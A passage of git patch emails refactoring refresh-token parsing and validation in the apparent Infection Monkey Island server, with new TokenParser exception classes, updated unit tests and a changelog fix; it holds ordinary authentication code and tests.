17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 13:16:35 +0530 Subject: [PATCH 1018/1338] UT: Update and add tests for new TokenParser class --- .../test_authentication_service.py | 25 ++++++--- .../token/test_token_parser.py | 51 +++++++++++++++++++ .../token/test_token_validator.py | 41 --------------- 3 files changed, 69 insertions(+), 48 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index acf83d2d65e..b3df7a5b245 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -11,7 +11,11 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.setup import setup_authentication -from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenValidator +from monkey_island.cc.services.authentication_service.token import ( + TokenGenerator, + TokenParser, + TokenValidator, +) from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" @@ -45,15 +49,20 @@ def mock_user_datastore() -> UserDatastore: @pytest.fixture -def mock_token_generator() -> UserDatastore: +def mock_token_generator() -> TokenGenerator: return MagicMock(spec=TokenGenerator) @pytest.fixture -def mock_token_validator() -> UserDatastore: +def mock_token_validator() -> TokenValidator: return MagicMock(spec=TokenValidator) +@pytest.fixture +def mock_token_parser() -> TokenParser: + return MagicMock(spec=TokenParser) + + @pytest.fixture def authentication_facade( mock_flask_app, @@ -62,6 +71,7 @@ def authentication_facade( mock_user_datastore: UserDatastore, mock_token_generator: TokenGenerator, mock_token_validator: TokenValidator, + mock_token_parser: TokenParser, ) -> AuthenticationFacade: return AuthenticationFacade( mock_repository_encryptor, @@ -69,6 +79,7 @@ def authentication_facade( mock_user_datastore, mock_token_generator, mock_token_validator, + mock_token_parser, ) @@ -119,13 +130,13 @@ def test_handle_sucessful_login( def test_generate_new_token_pair__generates_tokens( mock_token_generator: TokenGenerator, - mock_token_validator: TokenValidator, + mock_token_parser: TokenParser, authentication_facade: AuthenticationFacade, ): user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") user.save() mock_token_generator.generate_token.return_value = "new_token" - mock_token_validator.get_token_payload.return_value = "a" + mock_token_parser.parse.return_value.payload = "a" access_token = user.get_auth_token() refresh_token = "original_refresh_token" @@ -151,13 +162,13 @@ def test_generate_new_token_pair__fails_if_user_does_not_exist( def test_generate_new_token_pair__fails_if_token_invalid( - mock_token_validator: TokenValidator, + mock_token_parser: TokenParser, authentication_facade: AuthenticationFacade, ): user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") user.save() refresh_token = authentication_facade.generate_refresh_token(user) - mock_token_validator.get_token_payload.side_effect = Exception() + mock_token_parser.parse.side_effect = Exception() with pytest.raises(Exception): authentication_facade.generate_new_token_pair(refresh_token) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py new file mode 100644 index 00000000000..bd54a75fd5a --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py @@ -0,0 +1,51 @@ +import pytest +from tests.unit_tests.monkey_island.cc.services.authentication_service.token.conftest import ( + build_app, +) + +from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenParser +from monkey_island.cc.services.authentication_service.token.token_parser import TokenValidationError + + +def test_parse(): + token_expiration_timedelta = 1 * 60 # 1 minute + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + token_parser = TokenParser(app.security, token_expiration_timedelta) + + token = token_generator.generate_token(payload) + parsed_token = token_parser.parse(token) + + assert parsed_token.token == token + assert parsed_token.expiration_time == token_expiration_timedelta + assert parsed_token.payload == payload + + +def test_parse__expired_token(freezer): + token_expiration = 1 * 60 # 1 minute + generation_time = "2020-01-01 00:00:00" + validation_time = "2020-01-01 00:03:30" + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + freezer.move_to(generation_time) + token = token_generator.generate_token(payload) + token_parser = TokenParser(app.security, token_expiration) + freezer.move_to(validation_time) + + with pytest.raises(TokenValidationError): + token_parser.parse(token) + + +def test_parse__invalid_token(): + token_expiration = 1 * 60 # 1 minute + invalid_token = "invalid_token" + + app, _ = build_app() + token_parser = TokenParser(app.security, token_expiration) + + with pytest.raises(TokenValidationError): + token_parser.parse(invalid_token) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py index 1b3827ed896..1e0be8e516f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py @@ -50,44 +50,3 @@ def test_validate_refresh_token__invalid(): with pytest.raises(BadData): token_validator.validate_token(invalid_token) - - -def test_get_token_payload(): - token_expiration_timedelta = 1 * 60 # 1 minute - payload = "fake_user_id" - - app, _ = build_app() - token_generator = TokenGenerator(app.security) - token_validator = TokenValidator(app.security, token_expiration_timedelta) - - token = token_generator.generate_token(payload) - - assert token_validator.get_token_payload(token) == payload - - -def test_get_token_payload__expired_token(freezer): - token_expiration = 1 * 60 # 1 minute - generation_time = "2020-01-01 00:00:00" - validation_time = "2020-01-01 00:03:30" - payload = "fake_user_id" - - app, _ = build_app() - token_generator = TokenGenerator(app.security) - freezer.move_to(generation_time) - token = token_generator.generate_token(payload) - token_validator = TokenValidator(app.security, token_expiration) - freezer.move_to(validation_time) - - with pytest.raises(SignatureExpired): - token_validator.get_token_payload(token) - - -def test_get_token_payload__invalid_token(): - token_expiration = 1 * 60 # 1 minute - invalid_token = "invalid_token" - - app, _ = build_app() - token_validator = TokenValidator(app.security, token_expiration) - - with pytest.raises(BadData): - token_validator.get_token_payload(invalid_token) From 7de970cb25ff279f19b9a2099a03738fcd34a29f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 07:50:11 -0400 Subject: [PATCH 1019/1338] Changelog: Fix the entry for /api/refesh-authentication-token --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 068c0b81488..70bfe6b867a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,7 +12,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - `GET /api/agent-otp`. #3076 - `POST /api/agent-otp-login` endpoint. #3076 - A smarter brute-forcing strategy for SMB exploiter. #3039 -- `POST api/token` endpoint that allows refreshing of the access token. #3181 +- `POST /api/refresh-authentication-token` endpoint that allows refreshing of + the access token. #3181 ### Changed - Migrated the hard-coded SMB exploiter to a plugin. #2952 From 4b47f8c2c8ed6cad1d2702114cbcd68dcceb4a2a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 07:51:17 -0400 Subject: [PATCH 1020/1338] Island: Fix linter errors in token_parser.py --- .../authentication_service/token/token_parser.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index 6f4f5f87d39..217c7edc84f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -1,9 +1,10 @@ from dataclasses import dataclass -from typing import Any, Dict + from flask_security import Security from .types import Token + @dataclass class ParsedToken: token: Token @@ -12,7 +13,7 @@ class ParsedToken: class TokenValidationError(Exception): - """ Raise when an invalid token is encountered """ + """Raise when an invalid token is encountered""" class TokenParser: @@ -29,6 +30,10 @@ def parse(self, token: Token) -> ParsedToken: :raises TokenValidationError: If the token could not be parsed """ try: - return ParsedToken(token=token, expiration_time=self._token_expiration, payload=str(self._token_serializer.loads(token, max_age=self._token_expiration))) + return ParsedToken( + token=token, + expiration_time=self._token_expiration, + payload=str(self._token_serializer.loads(token, max_age=self._token_expiration)), + ) except Exception: raise TokenValidationError("Token is invalid, could not parse") From 8eb6192e790ae9589cb69015219db6879f2399b3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 3 Apr 2023 15:34:39 +0200 Subject: [PATCH 1021/1338] UT: Add failing tests for BadSignature and SignatureExpired in refresh token endpoint --- .../test_refresh_authentication_token.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py index d0297ba5c2b..ade20106af7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py @@ -1,6 +1,7 @@ from http import HTTPStatus import pytest +from itsdangerous import BadSignature, SignatureExpired from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, @@ -54,3 +55,14 @@ def test_token__fails_if_refresh_token_is_invalid( response = request_token(REQUEST) assert response.status_code == HTTPStatus.BAD_REQUEST + + +@pytest.mark.parametrize("exception", [BadSignature, SignatureExpired]) +def test_token__fails_refresh_token( + exception, request_token, mock_authentication_facade: AuthenticationFacade +): + mock_authentication_facade.generate_new_token_pair.side_effect = exception("SomeMessage") + + response = request_token(REQUEST) + + assert response.status_code == HTTPStatus.UNAUTHORIZED From b327ae19d191f1ee322768a9cebd6b37a9e877fd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 3 Apr 2023 16:17:16 +0200 Subject: [PATCH 1022/1338] Island: Handle token exceptions in RefreshAuthenticationToken endpoint --- .../flask_resources/refresh_authentication_token.py | 6 +++++- .../flask_resources/test_refresh_authentication_token.py | 3 ++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py index e35cbed2720..2b0b927911b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py @@ -1,9 +1,11 @@ import logging from http import HTTPStatus -from flask import request +from flask import make_response, request +from itsdangerous import BadSignature, SignatureExpired from monkey_island.cc.flask_utils import AbstractResource, responses +from monkey_island.cc.services.authentication_service.token.token_parser import TokenValidationError from ..authentication_facade import AuthenticationFacade from .utils import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME @@ -41,5 +43,7 @@ def post(self): } } return response, HTTPStatus.OK + except (BadSignature, SignatureExpired, TokenValidationError): + return make_response({}, HTTPStatus.UNAUTHORIZED) except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py index ade20106af7..98e32c0cb00 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py @@ -13,6 +13,7 @@ ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME, ) +from monkey_island.cc.services.authentication_service.token.token_parser import TokenValidationError REQUEST_AUTHENTICATION_TOKEN = "my_authentication_token" REQUEST_REFRESH_TOKEN = "my_refresh_token" @@ -57,7 +58,7 @@ def test_token__fails_if_refresh_token_is_invalid( assert response.status_code == HTTPStatus.BAD_REQUEST -@pytest.mark.parametrize("exception", [BadSignature, SignatureExpired]) +@pytest.mark.parametrize("exception", [BadSignature, SignatureExpired, TokenValidationError]) def test_token__fails_refresh_token( exception, request_token, mock_authentication_facade: AuthenticationFacade ): From 64d4ecd0a4cff662f3cb0b9701ca47307315c0de Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 09:30:16 -0400 Subject: [PATCH 1023/1338] Island: Convert ParsedToken from dataclass to pydantic model --- .../services/authentication_service/token/token_parser.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index 217c7edc84f..5c7e22759b5 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -1,12 +1,11 @@ -from dataclasses import dataclass - from flask_security import Security +from common.base_models import InfectionMonkeyBaseModel + from .types import Token -@dataclass -class ParsedToken: +class ParsedToken(InfectionMonkeyBaseModel): token: Token expiration_time: int payload: str From 07ffb4bf1f518f0b938fb9296b246c313531d2b5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 09:36:23 -0400 Subject: [PATCH 1024/1338] Island: Rename ParsedToken.{payload,user_uniquifier} --- .../authentication_service/authentication_facade.py | 2 +- .../services/authentication_service/token/token_parser.py | 6 ++++-- .../authentication_service/token/test_token_parser.py | 6 +++--- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 89f6035c9bb..b09438cbecc 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -65,7 +65,7 @@ def generate_new_token_pair(self, refresh_token: Token) -> Tuple[Token, Token]: def _get_refresh_token_owner(self, refresh_token: Token) -> User: self._refresh_token_validator.validate_token(refresh_token) - user_uniquifier = self._token_parser.parse(refresh_token).payload + user_uniquifier = self._token_parser.parse(refresh_token).user_uniquifier user = self._datastore.find_user(fs_uniquifier=user_uniquifier) if not user: raise Exception("Invalid refresh token") diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index 5c7e22759b5..cb388a40889 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -8,7 +8,7 @@ class ParsedToken(InfectionMonkeyBaseModel): token: Token expiration_time: int - payload: str + user_uniquifier: str class TokenValidationError(Exception): @@ -32,7 +32,9 @@ def parse(self, token: Token) -> ParsedToken: return ParsedToken( token=token, expiration_time=self._token_expiration, - payload=str(self._token_serializer.loads(token, max_age=self._token_expiration)), + user_uniquifier=str( + self._token_serializer.loads(token, max_age=self._token_expiration) + ), ) except Exception: raise TokenValidationError("Token is invalid, could not parse") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py index bd54a75fd5a..a3a994b5686 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py @@ -9,18 +9,18 @@ def test_parse(): token_expiration_timedelta = 1 * 60 # 1 minute - payload = "fake_user_id" + user_uniquifier = "fake_user_id" app, _ = build_app() token_generator = TokenGenerator(app.security) token_parser = TokenParser(app.security, token_expiration_timedelta) - token = token_generator.generate_token(payload) + token = token_generator.generate_token(user_uniquifier) parsed_token = token_parser.parse(token) assert parsed_token.token == token assert parsed_token.expiration_time == token_expiration_timedelta - assert parsed_token.payload == payload + assert parsed_token.user_uniquifier == user_uniquifier def test_parse__expired_token(freezer): From ad1f1c60f58ca305080218740b63fa3ca21f2e9b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 09:40:23 -0400 Subject: [PATCH 1025/1338] Island: Rename ParsedToken.{token,raw_token} --- .../cc/services/authentication_service/token/token_parser.py | 4 ++-- .../authentication_service/token/test_token_parser.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index cb388a40889..3ac7d564036 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -6,7 +6,7 @@ class ParsedToken(InfectionMonkeyBaseModel): - token: Token + raw_token: Token expiration_time: int user_uniquifier: str @@ -30,7 +30,7 @@ def parse(self, token: Token) -> ParsedToken: """ try: return ParsedToken( - token=token, + raw_token=token, expiration_time=self._token_expiration, user_uniquifier=str( self._token_serializer.loads(token, max_age=self._token_expiration) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py index a3a994b5686..24cad31bd63 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py @@ -18,7 +18,7 @@ def test_parse(): token = token_generator.generate_token(user_uniquifier) parsed_token = token_parser.parse(token) - assert parsed_token.token == token + assert parsed_token.raw_token == token assert parsed_token.expiration_time == token_expiration_timedelta assert parsed_token.user_uniquifier == user_uniquifier From 9e4a8940b1f063b43ed06f4b49fe0375a5969676 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 10:06:48 -0400 Subject: [PATCH 1026/1338] Island: Add ParsedToken.is_expired() --- .../token/token_parser.py | 18 +++++++++++++++++- .../token/test_token_parser.py | 4 ++-- 2 files changed, 19 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index 3ac7d564036..cbaafee2cc3 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -1,4 +1,6 @@ from flask_security import Security +from itsdangerous import Serializer, SignatureExpired +from pydantic import PrivateAttr from common.base_models import InfectionMonkeyBaseModel @@ -9,6 +11,18 @@ class ParsedToken(InfectionMonkeyBaseModel): raw_token: Token expiration_time: int user_uniquifier: str + _token_serializer: Serializer = PrivateAttr() + + def __init__(self, token_serializer: Serializer, **data): + self._token_serializer = token_serializer + super().__init__(**data) + + def is_expired(self) -> bool: + try: + self._token_serializer.loads(self.raw_token, max_age=self.expiration_time) + return False + except SignatureExpired: + return True class TokenValidationError(Exception): @@ -30,10 +44,12 @@ def parse(self, token: Token) -> ParsedToken: """ try: return ParsedToken( + token_serializer=self._token_serializer, raw_token=token, expiration_time=self._token_expiration, user_uniquifier=str( - self._token_serializer.loads(token, max_age=self._token_expiration) + # self._token_serializer.loads(token, max_age=self._token_expiration) + self._token_serializer.loads(token) ), ) except Exception: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py index 24cad31bd63..9fbedd1b052 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py @@ -36,8 +36,8 @@ def test_parse__expired_token(freezer): token_parser = TokenParser(app.security, token_expiration) freezer.move_to(validation_time) - with pytest.raises(TokenValidationError): - token_parser.parse(token) + parsed_token = token_parser.parse(token) + assert parsed_token.is_expired() def test_parse__invalid_token(): From 9553ec14d2a7366cd3abb088695b541316393775 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 10:17:36 -0400 Subject: [PATCH 1027/1338] Island: Validate token signature upon construction of ParsedToken object --- .../token/token_parser.py | 24 +++++++++---------- 1 file changed, 11 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index cbaafee2cc3..2855ab13563 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -1,5 +1,5 @@ from flask_security import Security -from itsdangerous import Serializer, SignatureExpired +from itsdangerous import BadSignature, Serializer, SignatureExpired from pydantic import PrivateAttr from common.base_models import InfectionMonkeyBaseModel @@ -7,15 +7,21 @@ from .types import Token +class TokenValidationError(Exception): + """Raise when an invalid token is encountered""" + + class ParsedToken(InfectionMonkeyBaseModel): raw_token: Token expiration_time: int user_uniquifier: str _token_serializer: Serializer = PrivateAttr() - def __init__(self, token_serializer: Serializer, **data): + def __init__(self, token_serializer: Serializer, *, raw_token: Token, **data): self._token_serializer = token_serializer - super().__init__(**data) + + user_uniquifier = self._token_serializer.loads(raw_token) + super().__init__(raw_token=raw_token, user_uniquifier=user_uniquifier, **data) def is_expired(self) -> bool: try: @@ -25,10 +31,6 @@ def is_expired(self) -> bool: return True -class TokenValidationError(Exception): - """Raise when an invalid token is encountered""" - - class TokenParser: def __init__(self, security: Security, token_expiration: int): self._token_serializer = security.remember_token_serializer @@ -47,10 +49,6 @@ def parse(self, token: Token) -> ParsedToken: token_serializer=self._token_serializer, raw_token=token, expiration_time=self._token_expiration, - user_uniquifier=str( - # self._token_serializer.loads(token, max_age=self._token_expiration) - self._token_serializer.loads(token) - ), ) - except Exception: - raise TokenValidationError("Token is invalid, could not parse") + except BadSignature: + raise TokenValidationError("Invalid token signature") From f1ff245f1a39eb05397b0a4a9fd3c46a30e81048 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 10:27:32 -0400 Subject: [PATCH 1028/1338] Island: Prevent invalid ParsedToken objects from being created All ParsedToken objects are valid at the time of creation. They have a valid signature and not be expired. Since the token may expire sometime after the object is created, `is_expired()` is provided so that other components may check expiration at a later time. --- .../token/token_parser.py | 12 ++++++++---- .../token/test_token_parser.py | 18 ++++++++++++++++++ 2 files changed, 26 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index 2855ab13563..c05b46cf2b0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -13,15 +13,17 @@ class TokenValidationError(Exception): class ParsedToken(InfectionMonkeyBaseModel): raw_token: Token - expiration_time: int user_uniquifier: str + expiration_time: int _token_serializer: Serializer = PrivateAttr() - def __init__(self, token_serializer: Serializer, *, raw_token: Token, **data): + def __init__(self, token_serializer: Serializer, *, raw_token: Token, expiration_time: int): self._token_serializer = token_serializer - user_uniquifier = self._token_serializer.loads(raw_token) - super().__init__(raw_token=raw_token, user_uniquifier=user_uniquifier, **data) + user_uniquifier = self._token_serializer.loads(raw_token, max_age=expiration_time) + super().__init__( + raw_token=raw_token, user_uniquifier=user_uniquifier, expiration_time=expiration_time + ) def is_expired(self) -> bool: try: @@ -52,3 +54,5 @@ def parse(self, token: Token) -> ParsedToken: ) except BadSignature: raise TokenValidationError("Invalid token signature") + except SignatureExpired: + raise TokenValidationError("Token has expired") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py index 9fbedd1b052..c593ab1dd9b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py @@ -36,7 +36,25 @@ def test_parse__expired_token(freezer): token_parser = TokenParser(app.security, token_expiration) freezer.move_to(validation_time) + with pytest.raises(TokenValidationError): + token_parser.parse(token) + + +def test_parse__is_expired(freezer): + token_expiration = 1 * 60 # 1 minute + generation_time = "2020-01-01 00:00:00" + validation_time = "2020-01-01 00:03:30" + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + freezer.move_to(generation_time) + token = token_generator.generate_token(payload) + token_parser = TokenParser(app.security, token_expiration) parsed_token = token_parser.parse(token) + + assert not parsed_token.is_expired() + freezer.move_to(validation_time) assert parsed_token.is_expired() From 8da903b6ea0162dd9e6ea6e5a81168018c6b2116 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 10:45:35 -0400 Subject: [PATCH 1029/1338] Island: Raise specific TokenValidationError from TokenParser --- .../authentication_service/token/token_parser.py | 15 ++++++++++++--- .../token/test_token_parser.py | 12 ++++++++---- 2 files changed, 20 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py index c05b46cf2b0..6ca1445d75f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -11,6 +11,14 @@ class TokenValidationError(Exception): """Raise when an invalid token is encountered""" +class InvalidTokenSignatureError(TokenValidationError): + """Raise when a token's signature is invalid""" + + +class ExpiredTokenError(TokenValidationError): + """Raise when a token has expired""" + + class ParsedToken(InfectionMonkeyBaseModel): raw_token: Token user_uniquifier: str @@ -52,7 +60,8 @@ def parse(self, token: Token) -> ParsedToken: raw_token=token, expiration_time=self._token_expiration, ) - except BadSignature: - raise TokenValidationError("Invalid token signature") except SignatureExpired: - raise TokenValidationError("Token has expired") + # NOTE: SignatureExpired is a subclass of BadSignature; this clause must come first. + raise ExpiredTokenError("Token has expired") + except BadSignature: + raise InvalidTokenSignatureError("Invalid token signature") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py index c593ab1dd9b..f29d6cada78 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py @@ -4,7 +4,10 @@ ) from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenParser -from monkey_island.cc.services.authentication_service.token.token_parser import TokenValidationError +from monkey_island.cc.services.authentication_service.token.token_parser import ( + ExpiredTokenError, + InvalidTokenSignatureError, +) def test_parse(): @@ -34,9 +37,10 @@ def test_parse__expired_token(freezer): freezer.move_to(generation_time) token = token_generator.generate_token(payload) token_parser = TokenParser(app.security, token_expiration) + token_parser.parse(token) freezer.move_to(validation_time) - with pytest.raises(TokenValidationError): + with pytest.raises(ExpiredTokenError): token_parser.parse(token) @@ -44,7 +48,7 @@ def test_parse__is_expired(freezer): token_expiration = 1 * 60 # 1 minute generation_time = "2020-01-01 00:00:00" validation_time = "2020-01-01 00:03:30" - payload = "fake_user_id" + payload = "fake_user_id1" app, _ = build_app() token_generator = TokenGenerator(app.security) @@ -65,5 +69,5 @@ def test_parse__invalid_token(): app, _ = build_app() token_parser = TokenParser(app.security, token_expiration) - with pytest.raises(TokenValidationError): + with pytest.raises(InvalidTokenSignatureError): token_parser.parse(invalid_token) From 572431354fee20cd7fd3f2a6d221f79cc3c37cd0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 10:48:28 -0400 Subject: [PATCH 1030/1338] Island: Remove AuthenticationFacade's dependency on TokenValidator Since TokenParser will not return an invalid token, there is no longer any need to call TokenValidator.validate_token(). --- monkey/monkey_island/cc/app.py | 8 +------- .../authentication_service/authentication_facade.py | 5 +---- .../test_authentication_service.py | 13 +------------ 3 files changed, 3 insertions(+), 23 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 1a388ea3868..59fce72a2a7 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -44,11 +44,7 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) -from monkey_island.cc.services.authentication_service.token import ( - TokenGenerator, - TokenParser, - TokenValidator, -) +from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenParser from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" @@ -172,7 +168,6 @@ def _build_authentication_facade(container: DIContainer, security: Security): security.app.config["SECURITY_TOKEN_MAX_AGE"] + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] ) - refresh_token_validator = TokenValidator(security, refresh_token_expiration) token_parser = TokenParser(security, refresh_token_expiration) return AuthenticationFacade( @@ -180,6 +175,5 @@ def _build_authentication_facade(container: DIContainer, security: Security): island_event_queue, security.datastore, token_generator, - refresh_token_validator, token_parser, ) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index b09438cbecc..1f696ff68a2 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -8,7 +8,7 @@ from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator from . import AccountRole -from .token import Token, TokenParser, TokenValidator +from .token import Token, TokenParser from .user import User @@ -23,14 +23,12 @@ def __init__( island_event_queue: 